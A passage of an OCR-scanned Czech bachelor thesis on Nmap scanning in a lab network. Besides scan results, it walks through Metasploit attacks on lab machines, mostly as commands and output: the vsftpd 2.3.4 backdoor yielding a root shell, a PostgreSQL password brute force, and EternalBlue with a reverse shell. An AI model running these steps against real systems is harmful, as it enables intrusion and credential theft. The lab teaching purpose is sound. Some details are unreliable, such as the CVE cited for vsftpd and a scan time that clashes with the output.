portti. Nevyhoda tohoto druhu skenovani je, Ze je pomalejsi z diivodu toho, ze UDP sluzby ne-

museji odpovidat na pozadavky skeneru.

Vysledky pro prikaz nmap -sU 10.0.2.100-106 jsou

Nmap scan report for 10.0.2.101

Host is up (0.00067s latency) .

All 1000 scanned ports on 10.0.2.101 are open|filtered
MAC Address: 08:00:27:99:E1:7A

Nmap scan report for 10.0.2.102
Host is up (0.00068s latency) .
Not shown: 993 closed ports

PORT STATE SERVICE

137/udp open netbios—-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
1900/udp open|filtered upnp
3702/udp open|filtered ws-discovery
4500/udp open|filtered nat-t-ike
5355/udp open|filtered llmnr

MAC Address: 08:00:27:99:E1:7B

Nmap scan report for 10.0.2.103

Host is up (0.00037s latency) .

All 1000 scanned ports on 10.0.2.103 are open|filtered
MAC Address: 08:00:27:99:E1:7C

Nmap scan report for 10.0.2.104
Host is up (0.00065s latency) .
Not shown: 993 closed ports

PORT STATE SERVICE

137/udp open netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
5355/udp open|filtered llmnr

MAC Address: 08:00:27:99:E1:7D

Nmap scan report for 10.0.2.105

Host is up (0.00036s latency) .

All 1000 scanned ports on 10.0.2.105 are closed
MAC Address: 08:00:27:99:E1:8A

Nmap scan report for 10.0.2.106
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Host is up (0.00042s latency) .
Not shown: 993 closed ports
PORT STATE SERVICE
53/udp open domain
68/udp open|filtered dhcpc
69/udp open|filtered tftp

111/udp open rpcbind

137/udp open netbios—-ns
138/udp open|filtered netbios-dgm
2049/udp open nfs

MAC Address: 08:00:27:80:D3:2A
Nmap done: 7 IP addresses (6 hosts up) scanned in 1102 seconds

Na zakladé vysledk, jde definovat, Ze skenovani 6ti pocitacii prob¢hlo za 18.36 sekund
a NMAP definoval bézici UDP sluzby. Nékteré porty jsou oteviené | filtrované, coz znamena,
ze NMAP se nepovedlo zjistit stav portu, zda-li je otevieny nebo uzavieny.

Detekce sitovych sluzeb je pouzitelna v ptipadech, kdy je potfeba ziskat seznam bézi-
cich sluzeb a jejich verzi pro prolomeni systému.

Naptiklad na pocitaci Linux Ne2 na portu ¢islo 21 bézi sluzba vsftpd ve verzi 2.3.4,
a pomoci seznamu zranitelnosti na www.exploit-db.com lze definovat, Ze dané sluzba ma zra-
nitelnost CVE 2011-0762, pomoci které¢ lze ziskat vzdaleny pfistup k pocitaci s opravnénimi
root.

Pro realizaci itoku CVE 2011-0762 je potieba spustit program Metasploit Framework!,
za pouziti ptikazu msfconsole, ktery je v Kali Linux. Po spousténi programu, je potieba zadat
ptikaz search vsftpd, pomoci kterého bude nalezen exploit pro sluzbu vsftpd, ktery je ulozen

v databazi Metasploit. [2]
msf5 > search vsftpd

Matching Modules

Name Disclosure Date Rank Check Description

exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03 excellent No
VSETPD v2.3.4 Backdoor Command Execution

Dale, jetieba zadat piikaz use exploit/unix/ftp/vsfipd 234 backdoor pro nastaveni
pro pouziti nalezen¢ho exploitu. Po nastaveni exploitu, je potfeba nastavit cilovou IP adresu.
Ptikaz set RHOST 10.0.2.106 nastavi IP adresu pocitace Linux Ne2 jako cilovou. Nyni je tieba
zadat ptikaz run pro spusténi utoku. [7]

msf5 exploit (unix/ftp/vsftpd 234 backdoor) > run

[*] 10.0.2.106:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.2.106:21 - USER: 331 Please specify the password.

! Metasploit Framework — open-source projekt, uréeny pro tvorbu, testovani a pouziti exploiti. [2]
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] 10.0.2.106:21 - Backdoor service has been spawned, handling...
] 10.0.2.106:21 - UID: uid=0(root) gid=0(root)
] Found shell.

] Command shell session 1 opened (10.0.2.99:33823 ->
.0.2.106:6200) at 2019-04-26 15:14:01 -0400

Dany vypis znamend, Ze utok probé&hl Gspésné. Pro zjisténi, pod jakym uzivatelskym

uctem je uzivatel pfihlasSen na cilovém systému, je tieba zadat ptikaz whoami.

whoami
root

Dany vysledek znamend, Ze uzivatel je pfihlaSeny na pocitaci Linux Ne2 jako root,
a ma vSechna opravnéni.

Také na pocitaci Linux Ne2 bézi sluzba PostgreSQL DB, verze je v intervalu 8.3.0 -
8.3.7, a pro danou sluzbu je moznost pouziti utoku hrubou silou a ziskat hesla pro databazi.
Pro pouziti daného titoku je tfeba spustit Metasploit Framework ptikazem msfconsole, najit mo-

dul postgres_login za pouziti ptikazu search postgres login.

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/scanner/postgres/postgres login normal Yes
PostgreSQL Login Utility

Dale je potfeba nastavit nalezeny modul pro dal$i pouziti pomoci ptikazu use auxili-
ary/scanner/postgres/postgres_login, zadat cilovou IP adresu pocitace Linux Ne2 pomoci pfi-

kazu set RHOST 10.0.2.106, a spustit exploit piikazem run. Vysledkem je:
msf5 auxiliary(scanner/postgres/postgres login) > run

[!] No active DB -- Credential data will not be saved!
[-] 10.0.2.106:5432 - LOGIN FAILED::@templatel (Incorrect: Invalid

username oOr password)
[-] 10.0.2.106:5432 - LOGIN FAILED::tiger@templatel (Incorrect: In-

valid username or password)
[-] 10.0.2.106:5432 - LOGIN FAILED: :postgres@templatel (Incorrect:

Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: :password@templatel (Incorrect:
Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED::admin@templatel (Incorrect: In-
valid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: postgres:@templatel (Incorrect:
Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: postgres:tiger@templatel (In-
correct: Invalid username or password)

[+] 10.0.2.106:5432 - Login Successful: postgres:postgres@templatel
[-] 10.0.2.106:5432 - LOGIN FAILED: scott:@templatel (Incorrect: In-

valid username or password)
[-] 10.0.2.106:5432 - LOGIN FAILED: scott:tiger@templatel (In-

correct: Invalid username or password)
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[-] 10.0.2.106:5432 - LOGIN FAILED: scott:postgres@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: scott:password@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: scott:admin@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:@templatel (Incorrect: In-
valid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:tiger@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:postgres@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:password@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:admin@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:admin@templatel (In-
correct: Invalid username or password)

[-] 10.0.2.106:5432 - LOGIN FAILED: admin:password@templatel (In-
correct: Invalid username or password)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Na zékladé danych vysledkl je mozné tvrdit, Ze jméno uzivatele databaze je postgres,

heslo je postgres a ndzev databéze je templatel.

4.4 DETEKCE OPERACNICH SYSTEMU

NMAP mé moznost definovani opera¢niho systému, jeho vyrobce, verzi jadra, atd.
Pro tyto ucely se pouziva parametr -O, ktery zapne detekci OS. Definovani OS probiha tak,
ze NMAP bude posilat TCP a UDP pakety a bude analyzovat odpovédi podle databézi.

Vysledky skenovani prikazem nmap -O 10.0.2.101-106 jsou

Nmap scan report for 10.0.2.101

Host is up (0.00051s latency) .

Not shown: 999 filtered ports

PORT STATE SERVICE

8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7A

Warning: OSScan results may be unreliable because we could not find
at least 1 open and 1 closed port

OS details: Microsoft Windows Server 2008 or 2008 Beta 3, Microsoft
Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professi-
onal or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft
Windows 8.1 R1l, Microsoft Windows Phone 7.5 or 8.0, Microsoft Win-
dows Vista SPO or SP1, Windows Server 2008 SP1l, or Windows 7, Micro-
soft Windows Vista SP2, Windows 7 SP1l, or Windows Server 2008
Network Distance: 1 hop

Nmap scan report for 10.0.2.102
Host is up (0.00036s latency) .
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Not shown: 986 closed ports
PORT STATE SERVICE
135/tcp open msrpc

49157/tcp open unknown

MAC Address: 08:00:27:99:E1:7B

Device type: general purpose

Running: Microsoft Windows 7]2008|8.1

OS CPE: cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:win-
dows_7::spl cpe:/o:microsoft:windows server 2008::spl cpe:/o:micro-
soft:windows server 2008:r2 cpe:/o:microsoft:windows 8 cpe:/o:micro-
soft:windows 8.1

OS details: Microsoft Windows 7 SPO - SP1, Windows Server 2008 SP1,
Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1

Network Distance: 1 hop

Nmap scan report for 10.0.2.103

Host is up (0.00055s latency) .

Not shown: 999 filtered ports

PORT STATE SERVICE

8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7C

Warning: OSScan results may be unreliable because we could not find
at least 1 open and 1 closed port

Aggressive OS guesses: FreeBSD 6.2-RELEASE (94%), Microsoft Windows
10 1511 - 1607 (93%), Microsoft Windows 8.1 R1 (92%), Microsoft Win-
dows Phone 7.5 or 8.0 (92%), Microsoft Windows 10 1511 (92%), Micro-
soft Windows Server 2008 or 2008 Beta 3 (92%), Microsoft Windows
Server 2008 R2 or Windows 8.1 (92%), Microsoft Windows Server

2016 (92%), Microsoft Windows 7 Professional or Windows 8 (92%),
Microsoft Windows Vista SPO or SP1l, Windows Server 2008 SP1l, or Win-
dows 7 (92%)

No exact OS matches for host (test conditions non-ideal) .

Network Distance: 1 hop

Nmap scan report for 10.0.2.104
Host is up (0.00041s latency) .

Not shown: 996 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7D
Device type: general purpose
Running: Microsoft Windows 10

OS CPE: cpe:/o:microsoft:windows 10
OS details: Microsoft Windows 10 1507 - 1607
Network Distance: 1 hop

Nmap scan report for 10.0.2.105

Host is up (0.00048s latency) .

All 1000 scanned ports on 10.0.2.105 are closed

MAC Address: 08:00:27:99:E1:8A

Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
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Nmap scan report for 10.0.2.106
Host is up (0.00039s latency) .
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

8180/tcp open unknown

MAC Address: 08:00:27:80:D3:2A

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Podle vysledkil je mozné zjistit, Ze NMAP zcela spravné definoval systém u pocitace
Windows 10 Ne2, vysledek je Microsoft Windows 10 a u pocitace Linux Ne2, vysledek je Li-
nux a verze jadra je v intervalu od 2.6.9 do 2.6.33, coz je pravda, protoze Metasploitable 2 be&zi
na verzi jadra 2.6.24. U pocitace Windows 7 Ne2 je vysledek Microsoft Windows 7|2008|8.1,
coz znamena, ze NMAP nevi na 100% jaky je to systém, ale definoval, Ze to je Windows 7,
Windows 8 nebo Windows 8.1, z diivodu toho, Ze tyto systémy pouZzivaji asi stejné odpovedi.
U pocitace Windows 7 Nel se nepovedlo zjistit, jaky je to systém z diivodu toho, ze firewall
blokuje spojeni, ale povedlo se zjistit, Ze systém patii ke skupiné¢ Microsoft Windows. Stejné
jako u pocitace Windows 7 Nel, tak u pocitate Windows 10 Nel se nepovedlo zjistit, jaky
to je systém, ale NMAP vypsal pravdépodobnost, jaky systém zde miize byt: systém FreeBSD
s pravdépodobnosti 94%, Windows 10 s pravdépodobnosti 93%, atd. Nepodafilo se definovat
OS u pocitace Linux Nel z diivodu toho, Ze velké mnozstvi OS pouziva stejné odpovédi jako
OS na daném pocitaci a NMAP nemtize definovat jaky je to systém.

Detekce verze opera¢niho systému je pouzitelna pro utoky, ktery pouzivaji zranitelnosti
operac¢niho systému.

Naptiklad NMAP detektoval, Ze pocitac Windows 7 Ne2 ma operacni systém Windows
verze 7, 8 nebo 8.1. Pro tyto verze systému je zranitelnost CVE-2017-0144 EternalBlue, ktera
umoznuje vzdaleny pfistup k systému.

Aby byl pouzit utok EternalBlue, je potfeba spustit Metasploit Framework piikazem

msfconsole a najit exploit EternalBlue ptikazem search eternalblue.

msf5 > search eternalblue
Matching Modules

Name Disclosure Date Rank Check Description
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auxiliary/admin/smb/ms17 010 command 2017-03-14 normal Yes
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Command Execution

auxiliary/scanner/smb/smb ms17 010 normal Yes MS17-
010 SMB RCE Detection

exploit/windows/smb/msl17 010 eternalblue 2017-03-14 average
No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/msl17 010 eternalblue win8 2017-03-14 average

No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
for Win8+

exploit/windows/smb/msl17 010 psexec 2017-03-14 normal No
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Code Execution

Dale ptikaz use exploit/windows/smb/ms17 010 _eternalblue nastavi pro pouziti exploit
ms17 010 eternalblue. Ptikaz set RHOST 10.0.2.102 nastavi jako cilouvou IP adresu pocita¢
Windows 7 Ne2, a ptikaz set LHOST 10.0.2.99 nastavi zdrojovou IP adresu pocita¢ Skener,
z kterého bude probihat utok. Ted stac¢i zadat ptikaz run aby byl spustén exploit. Vysledky pii-

kazu run jsou:

msf5 exploit (windows/smb/msl7 010 eternalblue) > run

[*] Started reverse TCP handler on 10.0.2.99:4444

[*] 10.0.2.102:445 - Connecting to target for exploitation.

[+] 10.0.2.102:445 - Connection established for exploitation.
[+] 10.0.2.102:445 - Target OS selected valid for OS indicated
by SMB reply

[*

] 10.0.2.102:445 - CORE raw buffer dump (42 bytes)

[*] 10.0.2.102:445 - 0x00000000 57 69 6e 64 o6f 77 73 20 37 20 48 6f
od 65 20 50 Windows 7 Home P

[*] 10.0.2.102:445 - 0x00000010 72 65 6d 69 75 od

20 37 36 30 31 20 53 65 72 76 remium 7601 Serv

[*] 10.0.2.102:445 - 0x00000020 69 63 65 20 50 61 63 6b

20 31 ice Pack 1

[+] 10.0.2.102:445 - Target arch selected valid for arch indicated
by DCE/RPC reply

[*] 10.0.2.102:445 - Trying exploit with 12 Groom Allocations.

[*] 10.0.2.102:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.102:445 - Starting non-paged pool grooming

[+] 10.0.2.102:445 - Sending SMBv2 buffers

[+] 10.0.2.102:445 - Closing SMBvl connection creating free hole ad-
jacent to SMBv2 buffer.

[*] 10.0.2.102:445 - Sending final SMBv2 buffers.

[*] 10.0.2.102:445 - Sending last fragment of exploit packet!

[*] 10.0.2.102:445 - Receiving response from exploit packet

[+] 10.0.2.102:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D) !

[*] 10.0.2.102:445 - Sending egg to corrupted connection.

[*] 10.0.2.102:445 - Triggering free of corrupted buffer.

[*] Command shell session 2 opened (10.0.2.99:4444 ->
10.0.2.102:49401) at 2019-04-26 17:58:28 -0400

[t] 10.0.2.102:445 - =-=—-=—=—=—=—=—=—=—=—=—=-=-=-=-=-=-=-=-=-=-=-=-
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C:\Windows\system32>

Piikaz systeminfo.exe vypiSe informaci o systému Windows.

C:\Windows\system32>systeminfo.exe

Host Name: WINDOWS-7-N2

OS Name: Microsoft Windows 7 Home Premium
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation

OS Configuration: Standalone Workstation

OS Build Type: Multiprocessor Free

Registered Owner: windows7

Dané vysledky znamenaji, ze utok je uspéSny a ted’ je pfistup k cilovému pocitaci pies

ptikazovy radek.
4.5 DETEKCE FIREWALU A SKENOVANI PRES FIREWALL

Pro skenovani zatizeni, které maji zapnuty firewall, 1ze pouzit parametr -sS. Pomoci to-
hoto parametru bude provedeno TCP SYN skenovani, které nebude tvofit uplné spojeni a bude

pouze posilat SYN pakety.

Vysledky skenovani prikazem nmap -sS 10.0.2.0/24 jsou

map scan report for 10.0.2.101
Host is up (0.00027s latency) .
Not shown: 999 filtered ports

PORT STATE SERVICE

8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7A

Nmap scan report for 10.0.2.102
Host is up (0.00014s latency) .
Not shown: 986 closed ports
PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp

2869/tcp open icslap

5357/tcp open wsdapi

8000/tcp open http-alt
10243/tcp open unknown

49152 /tcp open unknown
49153/tcp open unknown

49154 /tcp open unknown
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49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 08:00:27:99:E1:7B

Nmap scan report for 10.0.2.103
Host is up (0.00023s latency) .
Not shown: 999 filtered ports
PORT STATE SERVICE

8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7C

Nmap scan report for 10.0.2.104
Host is up (0.00013s latency).
Not shown: 996 closed ports
PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn
445/tcp open microsoft-ds
8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7D

Nmap scan report for 10.0.2.105

Host is up (0.00014s latency) .

All 1000 scanned ports on 10.0.2.105 are closed
MAC Address: 08:00:27:99:E1:8A

Nmap scan report for 10.0.2.106
Host is up (0.00014s latency) .
Not shown: 977 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524 /tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl

5432 /tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 08:00:27:80:D3:2A
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Piikaz nmap -sS 10.0.2.0/24 definoval vSechny zafizeni v siti a také definoval vSechny
oteviené¢ TCP porty. Dalsi vyhoda tohoto parametru je, ze skenovani siti je té¢zko detekovatelné
z diivodu neuplného spojeni.

Firewall na zafizenich mtze byt nastaven tak, ze bude pfijimat pakety pouze od defino-
vaného hostitele a pakety od jinych hostitelti zahodi. Takové nastaveni se ¢asto pouziva v si-
tich, které maji n€kolik servert, a servery musi komunikovat pouze mezi sebou ptes definovany
port. Pro simulaci dané konfigurace bude vytvoieno nastaveni pravidel pro firewall. Pocitac
Windows 7 Nel bude pfijimat pakety na port 8000 pouze z pocitace Windows 10 Nel a naopak
pocita¢ Windows 10 Nel bude pfijimat pakety na port 8000 pouze z pocitace Windows 7 Nel.

Pti skenovani prikazem nmap -sS 10.0.2.101 a nmap -sV 10.0.2.103 budou tyto vy-
sledky

Nmap scan report for 10.0.2.101

Host is up (0.00041s latency).

All 1000 scanned ports on 10.0.2.101 are filtered
MAC Address: 08:00:27:99:E1:7A

Nmap scan report for 10.0.2.103

Host is up (0.00041s latency) .

All 1000 scanned ports on 10.0.2.101 are filtered
MAC Address: 08:00:27:99:E1:7C

Coz znamend, ze NMAP se nepodafilo definovat, zda jsou porty otevieny nebo uza-
vieny. NMAP ma funkce pro definovani zdrojovych hostitelil a cilovych portt. Pro definovani
zdrojového hostitele je parameter -S <IP adresa>. Tento parameter je nutné pouzivat spolu s pa-
rametrem -Pn pro zékaz ping skenovani a parametrem -e <rozhrani> pro definovani zdrojového
rozhrani.

Vysledky pro ptikaz nmap -e ethO -Pn -sS -S 10.0.2.103 10.0.2.101 (coz znamena,
7ze NMAP bude skenovat sit’ z rozhrani ethO se zdrojovou adresou 10.0.2.103 a bude pouzito

SYN skenovani) jsou:

Nmap scan report for 10.0.2.101
Host is up (0.00071ls latency) .
Not shown: 999 filtered ports
PORT STATE SERVICE

8000/tcp open http-alt

MAC Address: 08:00:27:99:E1:7A

Na zédkladé vysledku je mozné definovat, Ze port TCP 8000 je otevien pro spojeni z ad-
resy 10.0.2.103.
V praxi lze detekcei firewalu pouzit v ptipadé, kdy po skenovani siti bylo zjisténo, ze sit’

ma maly pocet aktivnich zafizeni. Napiiklad po skenovani siti byly nalezeny pouze tiskarny
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se sitovym piipojenim, coz ve velkém poctu ptikladli znamend, Ze ostani prvky v siti maji za-
pnuté firewaly. V takovych piipadech, musi byt provedeno skenovani pro detekce firewald,
na zaklad¢ vysledkl skenovani lze zjistit, jaké pravidla ma firewall a provést skenovani s vy-

ménou [P adresy nebo MAC adresy.
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ZAVER

Cilem bakalafské prace je vyzkouSet a popsat moznosti pouziti sitového skeneru
NMAP tak, aby skenovaci metody pokryly nésledujici oblasti: nalezeni zivych stroju v siti in-
terpretace zakladniho vypisu skenovaci metody TCP a UDP detekce verzi sitovych sluzeb de-
tekce operacniho systému detekce firewallu pokrocilé skenovaci techniky

V uvodu teoretické Casti byly predstaveny zakladni terminy spojené se sitovou in-
frastrukturou. Hlavnim diivodem bylo zdlraznéni otazky zjistovani zabezpecfeni sitové in-
frastruktury a ptfedchazeni chybam. Dale byly popsany dilezité vlastnosti vybranych sitovych-
nastroju pro skenovani siti.

Tteti kapitola se celd vénuje popisu skenovacimu néstroji NMAP a vysvétleni parame-
tri pouzitych pii skenovani sitovych sluzeb a jejich detek¢nich algoritmd.

V praktické ¢asti byla nejprve vytvorena testovaci sitova infrastruktura, ktera obsaho-
vala Sest pocitact, které maji operacni systémy Microsoft Windows a Linux, pocitac, ze kterého
probihalo skenovani a piepina¢ pro spojeni vSech pocitact v jednu sit’. Prvnim tkolem v této
sitové infrastrukture bylo provést nalezeni zZivych strojli a predstavit nalezené vystupy. Druhym
ukolem byla detekce sitovych sluzeb. Vysledkem byl seznam spousténych sluzeb na pocitacich
a tabulka porovnani intenzity skenovani s poctem nalezenych sluzeb a ¢asem hledani. Také
byly popsany mozné varianty Utoki na zdklad€¢ seznamu spousténych sluzeb pomoci néstroje
Metasploit Framework. Tietim ukolem bylo definovani verze operacnich systémiti. Vysledkem
bylo stoprocentni uréeni verze operacniho systému pouze pro dva pocitace, pro tfi pocitace
NMAP pftiblizn¢ definoval verze operac¢niho systému a pro jeden pocitac se viibec nepovedlo
definovat verzi operacniho systému, z diivodu, Zze velké mnozstvi operacnich systémul maji
stejné odpovédi na pozadavek NMAP. Na zakladé¢ vysledk, jako dal$i mozny krok po detekci
verze operacniho systemu, byl proveden utok EternalBlue, ktery umoznil vzdaleny pfistup k
pocitaci. Patym tkolem bylo detektovat firewall v siti. Vysledkem daného tkolu byla zjisteni
parametrll v nastaveném firewallu.

Otazka zabezpeceni sitové infrastruktury je v dnesni dobé& kybernetickych utokl aktu-
alnim tématem pro vSechny spravce sité. Pravé volné dostupny nastroj NMap je vhodnym na-

strojem pro odhaleni napft. neaktualizovaného softwaru nebo zneuzitelné sluzby.
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